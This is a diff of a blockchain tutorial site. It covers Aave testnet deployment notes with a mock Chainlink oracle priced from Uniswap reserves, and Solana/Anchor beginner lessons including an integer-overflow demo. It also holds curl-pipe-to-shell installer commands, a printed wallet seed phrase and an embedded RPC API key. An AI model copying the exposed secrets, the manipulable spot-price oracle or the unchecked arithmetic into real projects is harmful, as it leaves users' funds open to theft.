          uint8 v, bytes32 r, bytes32 s - ) external; +
          ) external
          ; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); @@ -3393,51 +3389,51 @@

          0. aave追踪uniswap价格

          ); event Sync(uint112 reserve0, uint112 reserve1); - function MINIMUM_LIQUIDITY() external pure returns (uint256); + function MINIMUM_LIQUIDITY() external pure returns (uint256); - function factory() external view returns (address); + function factory() external view returns (address); - function token0() external view returns (address); + function token0() external view returns (address); - function token1() external view returns (address); + function token1() external view returns (address); - function getReserves() - external - view - returns ( + function getReserves() + external + view + returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast - ); + ); - function price0CumulativeLast() external view returns (uint256); + function price0CumulativeLast() external view returns (uint256); - function price1CumulativeLast() external view returns (uint256); + function price1CumulativeLast() external view returns (uint256); - function kLast() external view returns (uint256); + function kLast() external view returns (uint256); - function mint(address to) external returns (uint256 liquidity); + function mint(address to) external returns (uint256 liquidity); - function burn(address to) external returns (uint256 amount0, uint256 amount1); + function burn(address to) external returns (uint256 amount0, uint256 amount1); - function swap( + function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data - ) external; + ) external; - function skim(address to) external; + function skim(address to) external; - function sync() external; + function sync() external; - function initialize(address, address) external; + function initialize(address, address) external; } -// File: chainlinkMock/ours/mockChainlinkFollowUniswap.sol +// File: chainlinkMock/ours/mockChainlinkFollowUniswap.sol -pragma solidity 0.6.12; +pragma solidity 0.6.12; @@ -3446,16 +3442,16 @@

          0. aave追踪uniswap价格

          string public symbol; address public addr; uint256 public decimals; - mapping(bytes32 => address) symbolPairs; + mapping(bytes32 => address) symbolPairs; - bytes32 ETH = keccak256(abi.encodePacked('ETH')); - bytes32 DAI = keccak256(abi.encodePacked('DAI')); - bytes32 WBTC = keccak256(abi.encodePacked('WBTC')); - bytes32 CHAINLINK = keccak256(abi.encodePacked('CHAINLINK')); - bytes32 MKR = keccak256(abi.encodePacked('MKR')); - bytes32 USDC = keccak256(abi.encodePacked('USDC')); + bytes32 ETH = keccak256(abi.encodePacked('ETH')); + bytes32 DAI = keccak256(abi.encodePacked('DAI')); + bytes32 WBTC = keccak256(abi.encodePacked('WBTC')); + bytes32 CHAINLINK = keccak256(abi.encodePacked('CHAINLINK')); + bytes32 MKR = keccak256(abi.encodePacked('MKR')); + bytes32 USDC = keccak256(abi.encodePacked('USDC')); - /* + /* dai addr:0x749B1c911170A5aFEb68d4B278cD5405C718fc7F token地址比dai大的: @@ -3468,22 +3464,22 @@

          0. aave追踪uniswap价格

          1. 0x5D14d5F575a8B17801633fccaa5C0Ed78e657BdA, wbtc 2. 0x3878E7d2a355FB01a06db656690Cb8795f6663F2, usdc(清算使用) - */ + */
          - //dai: token0 - //eth: token1 - //pair地址 - address public ethDaiPairAddr = 0xc2a84f8e6a1a6011ccE0854C482217def6FbA8eE; - address public wbtcDaiPairAddr = 0x7a30b9AAe79374c440D5f7A0388696C8bfB76677; - address public chainlinkDaiPairAddr = 0xCdD4b06f6FF77B8D338FAB21606B8356A1C7ed14; - address public usdcPair = 0x5170C73cc49A68bEA24eEEea5f2ea0a070999484; + //dai: token0 + //eth: token1 + //pair地址 + address public ethDaiPairAddr = 0xc2a84f8e6a1a6011ccE0854C482217def6FbA8eE; + address public wbtcDaiPairAddr = 0x7a30b9AAe79374c440D5f7A0388696C8bfB76677; + address public chainlinkDaiPairAddr = 0xCdD4b06f6FF77B8D338FAB21606B8356A1C7ed14; + address public usdcPair = 0x5170C73cc49A68bEA24eEEea5f2ea0a070999484; - //大小写居然还有关系,直接使用remix提示的地址来更新就行了。 - address public mkrDaiPairAddr = 0x560CcA4DE9eB4f42021F1A383825AB906ffFFA4c; + //大小写居然还有关系,直接使用remix提示的地址来更新就行了。 + address public mkrDaiPairAddr = 0x560CcA4DE9eB4f42021F1A383825AB906ffFFA4c; - address public daiAddr = 0x749B1c911170A5aFEb68d4B278cD5405C718fc7F; + address public daiAddr = 0x749B1c911170A5aFEb68d4B278cD5405C718fc7F; - constructor(string memory _symbol, uint256 _decimals) public { + constructor(string memory _symbol, uint256 _decimals) public { symbolPairs[ETH] = ethDaiPairAddr; symbolPairs[DAI] = ethDaiPairAddr; symbolPairs[WBTC] = wbtcDaiPairAddr; @@ -3492,74 +3488,74 @@

          0. aave追踪uniswap价格

          symbolPairs[USDC] = usdcPair; bytes32 symbol_ = keccak256(abi.encodePacked(_symbol)); - require(symbolPairs[symbol_] != address(0), 'not support token symbol!'); + require(symbolPairs[symbol_] != address(0), 'not support token symbol!'); symbol = _symbol; decimals = _decimals; } - function latestAnswer() external view returns (uint256) { + function latestAnswer() external view returns (uint256) { bytes32 symbol_ = keccak256(abi.encodePacked(symbol)); (uint256 priceTmp, uint256 decimalsTmp) = getTokenPriceToDai(ethDaiPairAddr); - if (symbol_ == ETH) { - return (priceTmp * 10**decimals) / 10**decimalsTmp; - } else if (symbol_ == DAI) { - return 10**decimals / (priceTmp / 10**decimalsTmp); - } else { - return getTokenPriceToEth(symbolPairs[symbol_]); + if (symbol_ == ETH) { + return (priceTmp * 10**decimals) / 10**decimalsTmp; + } else if (symbol_ == DAI) { + return 10**decimals / (priceTmp / 10**decimalsTmp); + } else { + return getTokenPriceToEth(symbolPairs[symbol_]); } } - // calculate price based on pair reserves - function getTokenPriceToEth(address pairAddress) public view returns (uint256) { - //数量,这个币种的精度,wbc,8;chainlink,18 + // calculate price based on pair reserves + function getTokenPriceToEth(address pairAddress) public view returns (uint256) { + //数量,这个币种的精度,wbc,8;chainlink,18 (uint256 toDaiPrice, uint256 decimals1) = getTokenPriceToDai(pairAddress); (uint256 daiEthPrice, uint256 decimals2) = getTokenPriceToDai(ethDaiPairAddr); - uint256 v1 = toDaiPrice*10**decimals / 10**decimals1; - uint256 v2 = daiEthPrice / 10**decimals2; + uint256 v1 = toDaiPrice*10**decimals / 10**decimals1; + uint256 v2 = daiEthPrice / 10**decimals2; - return (v1 / v2); + return (v1 / v2); } - // calculate price based on pair reserves - function getTokenPriceToDai(address pairAddress) public view returns (uint256, uint256) { + // calculate price based on pair reserves + function getTokenPriceToDai(address pairAddress) public view returns (uint256, uint256) { IUniswapV2Pair pair = IUniswapV2Pair(pairAddress); IERC20 token0 = IERC20(pair.token0()); IERC20 token1 = IERC20(pair.token1()); (uint256 Res0, uint256 Res1, ) = pair.getReserves(); - if (address(token0) == daiAddr) { - //比dai地址大,eth, link - uint256 res0 = Res0 * (10**token1.decimals()); + if (address(token0) == daiAddr) { + //比dai地址大,eth, link + uint256 res0 = Res0 * (10**token1.decimals()); - //103453 * 10^decimals - return (res0 / Res1, token0.decimals()); + //103453 * 10^decimals + return (res0 / Res1, token0.decimals()); } - //mkr, usdc - uint256 res1 = Res1 * (10**token0.decimals()); - return (res1 / Res0, token1.decimals()); + //mkr, usdc + uint256 res1 = Res1 * (10**token0.decimals()); + return (res1 / Res0, token1.decimals()); } }

          调用方法,参考:

          -
          import { ethers } from "ethers";
          -const { ethereum } = window;
          -if (ethereum) {
          -    var provider = new ethers.providers.Web3Provider(ethereum);
          +
          import { ethers } from "ethers";
          +const { ethereum } = window;
          +if (ethereum) {
          +    var provider = new ethers.providers.Web3Provider(ethereum);
           }
           
          -const uniswapUsdcAddress = "0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc";
          -const uniswapAbi = ... // get the abi from https://etherscan.io/address/0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc#code
          +const uniswapUsdcAddress = "0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc";
          +const uniswapAbi = ... // get the abi from https://etherscan.io/address/0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc#code
           
          -const getUniswapContract = async address => await new ethers.Contract(address, uniswapAbi, provider);
          +const getUniswapContract = async address => await new ethers.Contract(address, uniswapAbi, provider);
           
          -const getEthUsdPrice = async () => await getUniswapContract(uniswapUsdcAddress)
          -    .then(contract => contract.getReserves())
          -    .then(reserves => Number(reserves._reserve0) / Number(reserves._reserve1) * 1e12); // times 10^12 because usdc only has 6 decimals
          +const getEthUsdPrice = async () => await getUniswapContract(uniswapUsdcAddress)
          +    .then(contract => contract.getReserves())
          +    .then(reserves => Number(reserves._reserve0) / Number(reserves._reserve1) * 1e12); // times 10^12 because usdc only has 6 decimals
           

          chainlink所有的价格都是对标ETH的,例如:

          -
          DAI: '0x22B58f1EbEDfCA50feF632bD73368b2FdA96D541'
          +
          DAI: '0x22B58f1EbEDfCA50feF632bD73368b2FdA96D541'
           

          image-20220106164452409

            @@ -3568,7 +3564,7 @@

            0. aave追踪uniswap价格

          1. 所有对ETH的资产,chainlink,decimal都是18位。

          2. 使用自己资产部署

          -
          N# Contracts: 20
          +
          N# Contracts: 20
           LendingPoolAddressesProvider: 0x8bD206df9853d23bE158A9F7065Cf60A7A5F05DF
           LendingPool: 0x57110816Db545D4A3910dDba38fB17221a8EB506
           LendingPoolConfigurator: 0x13A25AEAEFCe2b501f5D7c9D0C728c04A5411f4e
          @@ -3593,12 +3589,12 @@ 

          2. 使用自己资产部署

          baseUniswapAdapter:(前端使用)

          npx hardhat --network kovan deploy-UniswapRepayAdapter --provider 0x8bD206df9853d23bE158A9F7065Cf60A7A5F05DF --router 0xDC292C81e24efB77Bc69e6d3727E3727EC1bF170 --weth 0xd0a1e359811322d97991e03f863a0c30c2cf029c
           
          -#0x5A88CCf2a7C0adA99ef602570a9864c195cc818B
          +#0x5A88CCf2a7C0adA99ef602570a9864c195cc818B
           

          uiIncentiveDataProvider:(前端使用)

          npm run dev:deployUIIncentivesProviderV2
           
          -#0xF826701Bb4Db3d60255280D9a0F8bD7aBA83927C
          +#0xF826701Bb4Db3d60255280D9a0F8bD7aBA83927C
           

          3. verify

          aave工程化代码写的真好啊,考虑的非常周全了。

          @@ -3613,8 +3609,8 @@

          2. 冻结market

          对某个asset的市场进行暂停使用,可以执行如下命令。

          hh full:freeze --pool Aave --network kovan
           
          -#内部会调用freezeReserve(MKR地址)
          -#注意emergencyAdmin和PoolAdmin是两个地址,emergencyAdmin是index:1, PoolAdmin是index:0。
          +#内部会调用freezeReserve(MKR地址)
          +#注意emergencyAdmin和PoolAdmin是两个地址,emergencyAdmin是index:1, PoolAdmin是index:0。
           

          3. 如果错误了点击了其他市场

          需要清理浏览器cache,否则一直出现网络错误。

          @@ -3628,7 +3624,7 @@

          ==4. 更新预言机地址==

          npm run dev:deployUIProviderV2
           

          将地址更新到aave-ui中的ui-config/networks.ts中:

          -
          uiPoolDataProvider: '0x60311E24f29208C2E3490F8e66414Ded4C75Ee32', //duke 自己的
          +
          uiPoolDataProvider: '0x60311E24f29208C2E3490F8e66414Ded4C75Ee32', //duke 自己的
           
          @@ -3665,7 +3661,7 @@

          1.3 错误3:

          http://localhost:3000/deposit/0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee-0xd0a1e359811322d97991e03f863a0c30c2cf029c0x604393277f9941756ef0660e52a891d80dda9a8d/confirmation?amount=0.1
           

          通过将rpc修改为我们自己的alchemy之后,这个问题暂时没有再出现:

          -
              publicJsonRPCUrl: ['https://eth-kovan.alchemyapi.io/v2/-qZ8NcwdvM8gsbxWyFl_Iw9znBN5UV3t', 'https://kovan.poa.network'],
          +
              publicJsonRPCUrl: ['https://eth-kovan.alchemyapi.io/v2/-qZ8NcwdvM8gsbxWyFl_Iw9znBN5UV3t', 'https://kovan.poa.network'],
           

          1.4 错误4:

          当使用自己的资产和chainlink配置到ui中后,一直展示上面的Reload错误,这个是因为:uiPoolDataProvider引起的(切换成官方的就可以正常显示)。部署这个合约的两个参数是两个ETH/USD的地址,我改成自己的了,也许少了方法。

          @@ -3681,12 +3677,12 @@

          4. github启动页面

          1. 修改package.json,这里经常出错,注意是:https,个人账户.github.io,repo名字
          -
            "homepage": "https://chfry-finance.github.io/chfry-aave-interface",
          +
            "homepage": "https://chfry-finance.github.io/chfry-aave-interface",
           
          1. 添加deploy命令
          -
              "deploy": "gh-pages -d build",
          +
              "deploy": "gh-pages -d build",
           
          1. 进行编译&部署
          2. @@ -3708,17 +3704,17 @@

            4. github启动页面

          三、DSA联调

          aave官方地址:

          -
              // Aave Lending Pool Provider    
          +
              // Aave Lending Pool Provider    
                   AaveLendingPoolProviderInterface internal constant aaveProvider =
                   AaveLendingPoolProviderInterface(
          -            0x88757f2f99175387aB4C6a4b3067c77A695b0349
          +            0x88757f2f99175387aB4C6a4b3067c77A695b0349
                   );
          -    // Aave Protocol Data Provider
          +    // Aave Protocol Data Provider
               AaveDataProviderInterface internal constant aaveData =
          -        AaveDataProviderInterface(0x3c73A5E5785cAC854D468F727c606C07488a29D6);
          +        AaveDataProviderInterface(0x3c73A5E5785cAC854D468F727c606C07488a29D6);
           
               AavePriceOracleInterface internal constant aavePrice =
          -        AavePriceOracleInterface(0xB8bE51E6563BB312Cbb2aa26e352516c25c26ac1);
          +        AavePriceOracleInterface(0xB8bE51E6563BB312Cbb2aa26e352516c25c26ac1);
           

          使用我自己部署的地址(自己的token,自己的chainlink)

          AaveLendingPoolProviderInterface: 0x8bD206df9853d23bE158A9F7065Cf60A7A5F05DF
          @@ -3752,7 +3748,7 @@ 

          三、DSA联调

          @@ -3838,14 +3834,6 @@

          三、DSA联调

          - - - - - - - - diff --git "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/03_compoundV2\351\203\250\347\275\262.html" "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/03_compoundV2\351\203\250\347\275\262.html" index 72886805..22aa21fc 100644 --- "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/03_compoundV2\351\203\250\347\275\262.html" +++ "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/03_compoundV2\351\203\250\347\275\262.html" @@ -36,10 +36,6 @@ - - - - @@ -3043,7 +3039,7 @@

          第3节:compound部署

          @@ -3129,14 +3125,6 @@

          第3节:compound部署

          - - - - - - - - diff --git "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/index.html" "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/index.html" index a292779b..f7d9681a 100644 --- "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/index.html" +++ "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3067,7 +3063,7 @@

          白皮书

          @@ -3153,14 +3149,6 @@

          白皮书

          - - - - - - - - diff --git a/cn/Moledao.html b/cn/Moledao.html index 0d22b982..3cfd1471 100644 --- a/cn/Moledao.html +++ b/cn/Moledao.html @@ -36,10 +36,6 @@ - - - - @@ -3049,7 +3045,7 @@

          加入Moledao

          @@ -3135,14 +3131,6 @@

          加入Moledao

          - - - - - - - - diff --git a/cn/SUMMARY.html b/cn/SUMMARY.html index 318320c4..1e29aaaf 100644 --- a/cn/SUMMARY.html +++ b/cn/SUMMARY.html @@ -36,10 +36,6 @@ - - - - @@ -3293,7 +3289,7 @@

          @@ -3379,14 +3375,6 @@

          - - - - - - - - diff --git a/cn/index.html b/cn/index.html index a768f594..f1980c4b 100644 --- a/cn/index.html +++ b/cn/index.html @@ -36,10 +36,6 @@ - - - - @@ -3072,7 +3068,7 @@

          马上入群

          @@ -3158,14 +3154,6 @@

          马上入群

          - - - - - - - - diff --git "a/cn/\346\200\235\347\273\264\345\257\274\345\233\276.html" "b/cn/\346\200\235\347\273\264\345\257\274\345\233\276.html" index 38f17590..3e75048d 100644 --- "a/cn/\346\200\235\347\273\264\345\257\274\345\233\276.html" +++ "b/cn/\346\200\235\347\273\264\345\257\274\345\233\276.html" @@ -36,10 +36,6 @@ - - - - @@ -3052,7 +3048,7 @@

          思维导图

          @@ -3138,14 +3134,6 @@

          思维导图

          - - - - - - - - diff --git "a/cn/\350\265\236\345\212\251\344\275\234\350\200\205\357\270\217.html" "b/cn/\350\265\236\345\212\251\344\275\234\350\200\205\357\270\217.html" index 3a1efe1e..15e35a3a 100644 --- "a/cn/\350\265\236\345\212\251\344\275\234\350\200\205\357\270\217.html" +++ "b/cn/\350\265\236\345\212\251\344\275\234\350\200\205\357\270\217.html" @@ -36,10 +36,6 @@ - - - - @@ -3046,7 +3042,7 @@

          赞助作者☕️

          @@ -3132,14 +3128,6 @@

          赞助作者☕️

          - - - - - - - - diff --git a/en/index.html b/en/index.html index f1367b36..1db114a7 100644 --- a/en/index.html +++ b/en/index.html @@ -36,10 +36,6 @@ - - - - @@ -480,7 +476,7 @@

          SOLANA EXPERT

          @@ -566,14 +562,6 @@

          SOLANA EXPERT

          - - - - - - - - diff --git a/en/solana_beginner/00_Tools/index.html b/en/solana_beginner/00_Tools/index.html index 6fb506b9..b2afe2f9 100644 --- a/en/solana_beginner/00_Tools/index.html +++ b/en/solana_beginner/00_Tools/index.html @@ -36,10 +36,6 @@ - - - - @@ -468,8 +464,8 @@

          Library

        1. solana-web3.js: https://solana-labs.github.io/solana-web3.js/, similiar to ether.js in solidity
        2. Anchor Cmds

          -
          anchor idl init -f 
          -
          +
          anchor idl init -f <target/idl/xxx.json>
          +

          Tips

          1. The program id is generated during anchor build, you may need to run anchor kyes sync after build.
          2. @@ -502,7 +498,7 @@

            Tips

            @@ -588,14 +584,6 @@

            Tips

            - - - - - - - - diff --git a/en/solana_beginner/01_Helloworld/index.html b/en/solana_beginner/01_Helloworld/index.html index e97ba0f3..eaf7fbd7 100644 --- a/en/solana_beginner/01_Helloworld/index.html +++ b/en/solana_beginner/01_Helloworld/index.html @@ -36,10 +36,6 @@ - - - - @@ -456,15 +452,15 @@

            Hello World

            Install Requirements

            Rust

            -
            curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
            +
            curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
             

            we are using: 1.79.0

            ➜  source_code git:(main) rustc --version
             rustc 1.79.0 (129f3b996 2024-06-10)
             

            Solana cli

            -
            # install solana
            -sh -c "$(curl -sSfL https://release.solana.com/stable/install)"
            +
            # install solana
            +sh -c "$(curl -sSfL https://release.solana.com/stable/install)"
             

            we are using: 1.18.18

            ➜  source_code git:(main) solana --version
            @@ -483,8 +479,8 @@ 

            Anchor

            anchor-cli 0.30.1

            Create Project

            -
            anchor init day1 # use day_1 if you have a mac
            -cd day1
            +
            anchor init day1 # use day_1 if you have a mac
            +cd day1
             

            this command will create an default project:

            image-20240721140701893

            @@ -495,30 +491,30 @@

            Create Project

          3. Accounts: tx.origin in solidity.
          4. please note: there is no constructorin solana program. the default func of initializeis automatically created by Anchorframework, it is just a common function, same as any arbitrary customized function: pub fn test1()

            -
            use anchor_lang::prelude::*;
            +
            use anchor_lang::prelude::*;
             
            -declare_id!("9qfovSZQtZ3VkgCTiDDWuMCpkPyxt3HAcHh19MiX6pGU");
            +declare_id!("9qfovSZQtZ3VkgCTiDDWuMCpkPyxt3HAcHh19MiX6pGU");
             
            -#[program]
            -pub mod day_1 {
            -    use super::*;
            +#[program]
            +pub mod day_1 {
            +    use super::*;
             
            -    pub fn initialize(_ctx: Context) -> Result<()> {
            -        // msg!("Greetings from: {:?}", _ctx.program_id);
            -        msg!("Hello, World!");
            -        Ok(())
            +    pub fn initialize(_ctx: Context<Initialize>) -> Result<()> {
            +        // msg!("Greetings from: {:?}", _ctx.program_id);
            +        msg!("Hello, World!");
            +        Ok(())
                 }
             }
             
            -#[derive(Accounts)]
            -pub struct Initialize {}
            -
            +#[derive(Accounts)] +pub struct Initialize {} +

            Config Solana network

            to localhost

            -
            # shell 1
            -solana config set --url localhost
            +
            # shell 1
            +solana config set --url localhost
             
            -# output: 
            +# output: 
             Config File: /Users/duke/.config/solana/cli/config.yml
             RPC URL: http://localhost:8899
             WebSocket URL: ws://localhost:8900/ (computed)
            @@ -526,27 +522,27 @@ 

            Config Solana network

            Commitment: confirmed

            Run validator node

            -
            # shell 2
            +
            # shell 2
             solana-test-validator
             

            this command would create a local folder to test-ledger, it would store all the simulating data, and if you run this command again, be sure to execute at the same level as this folder.

            Sync up

            -
            # shell 1
            +
            # shell 1
             anchor keys sync
             
            -# output
            +# output
             All program id declarations are synced.
             

            Run Anchor Tests

            -
            # shell 1
            -anchor test --skip-local-validator
            +
            # shell 1
            +anchor test --skip-local-validator
             

            this command will build and deploy and execute the test scripts under tests, if you encounter this error below:

            image-20240720105510491

            can try to execute the following command:

            solana-install init 1.18.18
             
            -# 1.18.18 should equal to the error message: `solana-program v1.18.181`
            +# 1.18.18 should equal to the error message: `solana-program v1.18.181`
             

            check here to see the original topic.

            @@ -555,38 +551,38 @@

            Run Anchor Tests

            Create a new wallet

            solana-keygen new -o /Users/duke/.config/solana/id.json
             
            -# output:
            +# output:
             Wrote new keypair to /Users/duke/.config/solana/id.json
             ========================================================================
             pubkey: HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w
             ========================================================================
             Save this seed phrase and your BIP39 passphrase to recover your new keypair:
            -fix air journey asthma help pulse ankle jeans return fragile renew equal
            +fix air journey asthma help pulse ankle jeans return fragile renew equal
             ========================================================================
             

            Get Wallet address

            solana-keygen pubkey ~/.config/solana/id.json
             
            -# output:
            +# output:
             HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w
             

            or by command:

            solana address
             
            -# output:
            +# output:
             HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w
             

            Sol Airdrop

            -
            # solana airdrop 100 
            +
            # solana airdrop 100 <Your Address>
             solana airdrop 100 HjU6xSZme7ER6Qhk841nczwXijBZ9e1GWLqdPxW6gS9w
             
            -# output:
            +# output:
             Requesting airdrop of 100 SOL
             
             Signature: xTrkhn7tad5tMMS9dn3ZA12EtR5LsoLaUYrUjN8gjQZYMkBTs55LVGQS3dLuKbRmMoXoWLWiToY2ReQJwBcMZgc
             
             100 SOL
            -
            +

            Test Succeed

            image-20240720122344088

            Key Takeaways

            @@ -627,7 +623,7 @@ @@ -713,14 +709,6 @@ - - - - - - - - diff --git a/en/solana_beginner/02_Arithmetic_Types/index.html b/en/solana_beginner/02_Arithmetic_Types/index.html index 91f50226..f82e8d60 100644 --- a/en/solana_beginner/02_Arithmetic_Types/index.html +++ b/en/solana_beginner/02_Arithmetic_Types/index.html @@ -36,10 +36,6 @@ - - - - @@ -460,13 +456,13 @@

            Arithmetic_Types

            event Result(uint256); event Who(string, address); - function doSomeMath(uint256 a, uint256 b) public { + function doSomeMath(uint256 a, uint256 b) public { uint256 result = a + b; emit Result(result); } - function sayHelloToMe() public { - emit Who("Hello World", msg.sender); + function sayHelloToMe() public { + emit Who("Hello World", msg.sender); } }
            @@ -499,130 +495,130 @@

            Create new program

            Basic Types

            update day_2/lib.rs

            -
            use anchor_lang::prelude::*;
            +
            use anchor_lang::prelude::*;
             
            -declare_id!("F6jicE4vCRP3yggTvoLyebh59pm8RnpcZ8rZRiJe9JQW");
            +declare_id!("F6jicE4vCRP3yggTvoLyebh59pm8RnpcZ8rZRiJe9JQW");
             
            -#[program]
            -pub mod day_2 {
            -    use super::*;
            +#[program]
            +pub mod day_2 {
            +    use super::*;
             
            -      // test1: u64/string
            -    pub fn initialize2(ctx: Context, a: u64, b: u64, message: String) -> Result<()> {
            -        // msg!("Greetings from: {:?}", ctx.program_id);
            -        msg!("message: {:?}", message);
            -        msg!("You sent {} and {}", a, b);
            -        Ok(())
            +      // test1: u64/string
            +    pub fn initialize2(ctx: Context<Initialize>, a: u64, b: u64, message: String) -> Result<()> {
            +        // msg!("Greetings from: {:?}", ctx.program_id);
            +        msg!("message: {:?}", message);
            +        msg!("You sent {} and {}", a, b);
            +        Ok(())
                 }
             
            -      // test2: Vec
            -    pub fn array(ctx: Context, arr: Vec) -> Result<()> {
            -        msg!("Your array {:?}", arr);
            -        Ok(())
            +      // test2: Vec
            +    pub fn array(ctx: Context<Initialize>, arr: Vec<u64>) -> Result<()> {
            +        msg!("Your array {:?}", arr);
            +        Ok(())
                 }
             }
             
            -#[derive(Accounts)]
            -pub struct Initialize {}
            -
            +#[derive(Accounts)] +pub struct Initialize {} +

            create new test file

            -
            import * as anchor from "@coral-xyz/anchor";
            -import { Program } from "@coral-xyz/anchor";
            -import { Day2 } from "../target/types/day_2";
            +
            import * as anchor from "@coral-xyz/anchor";
            +import { Program } from "@coral-xyz/anchor";
            +import { Day2 } from "../target/types/day_2";
             
            -describe("day_2", () => {
            -  // Configure the client to use the local cluster.
            +describe("day_2", () => {
            +  // Configure the client to use the local cluster.
               anchor.setProvider(anchor.AnchorProvider.env());
             
            -  const program = anchor.workspace.Day2 as Program;
            +  const program = anchor.workspace.Day2 as Program<Day2>;
             
            -  it("Is initialized!", async () => {
            -    // Add your test here.
            -    const tx = await program.methods.initialize2(
            -      new anchor.BN(777),
            -      new anchor.BN(888),
            -      "hello world"
            +  it("Is initialized!", async () => {
            +    // Add your test here.
            +    const tx = await program.methods.initialize2(
            +      new anchor.BN(777),
            +      new anchor.BN(888),
            +      "hello world"
                 ).rpc();
            -    console.log("Your transaction signature", tx);
            +    console.log("Your transaction signature", tx);
               });
             
            -  it.only("Initializes with vector", async () => {
            -    const tx = await program.methods.array([new anchor.BN(777),
            -    new anchor.BN(888)]).rpc();
            +  it.only("Initializes with vector", async () => {
            +    const tx = await program.methods.array([new anchor.BN(777),
            +    new anchor.BN(888)]).rpc();
             
            -    console.log("Your transaction signature", tx);
            +    console.log("Your transaction signature", tx);
               });
             });
            -
            +

            build and test, all should be good!

            Overflow

            add two more functions

            -
                pub fn overflow_unsafe(ctx: Context, a: u64, b: u64) -> Result<()> {
            -        // test1: overflow silently
            -        let x_unsafe: u64 = a - b;
            +
                pub fn overflow_unsafe(ctx: Context<Initialize>, a: u64, b: u64) -> Result<()> {
            +        // test1: overflow silently
            +        let x_unsafe: u64 = a - b;
             
            -        msg!("x_unsafe: {}", x_unsafe);
            -        Ok(())
            +        msg!("x_unsafe: {}", x_unsafe);
            +        Ok(())
                 }
             
            -    pub fn overflow_safe(ctx: Context, a: u64, b: u64) -> Result<()> {
            -        let x_safe: u64 = a.checked_sub(b).unwrap();
            -        msg!("x_safe: {}", x_safe);
            -        Ok(())
            +    pub fn overflow_safe(ctx: Context<Initialize>, a: u64, b: u64) -> Result<()> {
            +        let x_safe: u64 = a.checked_sub(b).unwrap();
            +        msg!("x_safe: {}", x_safe);
            +        Ok(())
                 }
            -
            +

            udpate day_2.ts

            -
              // when overflow-checks = false
            -  it.only("should not overflow on 100 - 200", async () => {
            -    const tx = await program.methods.overflowUnsafe(
            -      new anchor.BN(100),
            -      new anchor.BN(200)).rpc();
            -
            -    // output:
            -    // Program log: Instruction: OverflowUnsafe
            -    // Program log: x_unsafe: 18446744073709551516
            +
              // when overflow-checks = false
            +  it.only("should not overflow on 100 - 200", async () => {
            +    const tx = await program.methods.overflowUnsafe(
            +      new anchor.BN(100),
            +      new anchor.BN(200)).rpc();
            +
            +    // output:
            +    // Program log: Instruction: OverflowUnsafe
            +    // Program log: x_unsafe: 18446744073709551516
               });
             
            -  // when overflow-checks = true
            -  it.only("should overflow on 100 - 200", async () => {
            -    const tx = await program.methods.overflowUnsafe(
            -      new anchor.BN(100),
            -      new anchor.BN(200)).rpc();
            +  // when overflow-checks = true
            +  it.only("should overflow on 100 - 200", async () => {
            +    const tx = await program.methods.overflowUnsafe(
            +      new anchor.BN(100),
            +      new anchor.BN(200)).rpc();
               });
            -  // output:
            -  //   should overflow on 100 - 200:
            -  //   Error: Simulation failed.
            -  // Message: Transaction simulation failed: Error processing Instruction 0: Program failed to complete.
            -
            -  it.only("should panic when overflow", async () => {
            -    const tx = await program.methods.overflowSafe(
            -      new anchor.BN(0),
            -      new anchor.BN(1)).rpc();
            -
            -    // output:
            -    // Program log: Instruction: OverflowSafe
            -    // Program log: panicked at programs/day_2/src/lib.rs:30:44:
            -    // called `Option::unwrap()` on a `None` value
            +  // output:
            +  //   should overflow on 100 - 200:
            +  //   Error: Simulation failed.
            +  // Message: Transaction simulation failed: Error processing Instruction 0: Program failed to complete.
            +
            +  it.only("should panic when overflow", async () => {
            +    const tx = await program.methods.overflowSafe(
            +      new anchor.BN(0),
            +      new anchor.BN(1)).rpc();
            +
            +    // output:
            +    // Program log: Instruction: OverflowSafe
            +    // Program log: panicked at programs/day_2/src/lib.rs:30:44:
            +    // called `Option::unwrap()` on a `None` value
               });
             

            Change the flag: overflow-checks = false and see the difference.

            -
            [workspace]
            -members = ["programs/*"]
            -resolver = "2"
            -
            -[profile.release]
            -# will check globaly, and throw error during the compilation, gas costly
            -overflow-checks = true 
            -
            -# won't check, and would need to add protection within the code, but gas efficiency
            -# overflow-checks = false  
            -
            -lto = "fat"
            -codegen-units = 1
            -[profile.release.build-override]
            -opt-level = 3
            -incremental = false
            -codegen-units = 1
            +
            [workspace]
            +members = ["programs/*"]
            +resolver = "2"
            +
            +[profile.release]
            +# will check globaly, and throw error during the compilation, gas costly
            +overflow-checks = true 
            +
            +# won't check, and would need to add protection within the code, but gas efficiency
            +# overflow-checks = false  
            +
            +lto = "fat"
            +codegen-units = 1
            +[profile.release.build-override]
            +opt-level = 3
            +incremental = false
            +codegen-units = 1
             

            Key Takeaways

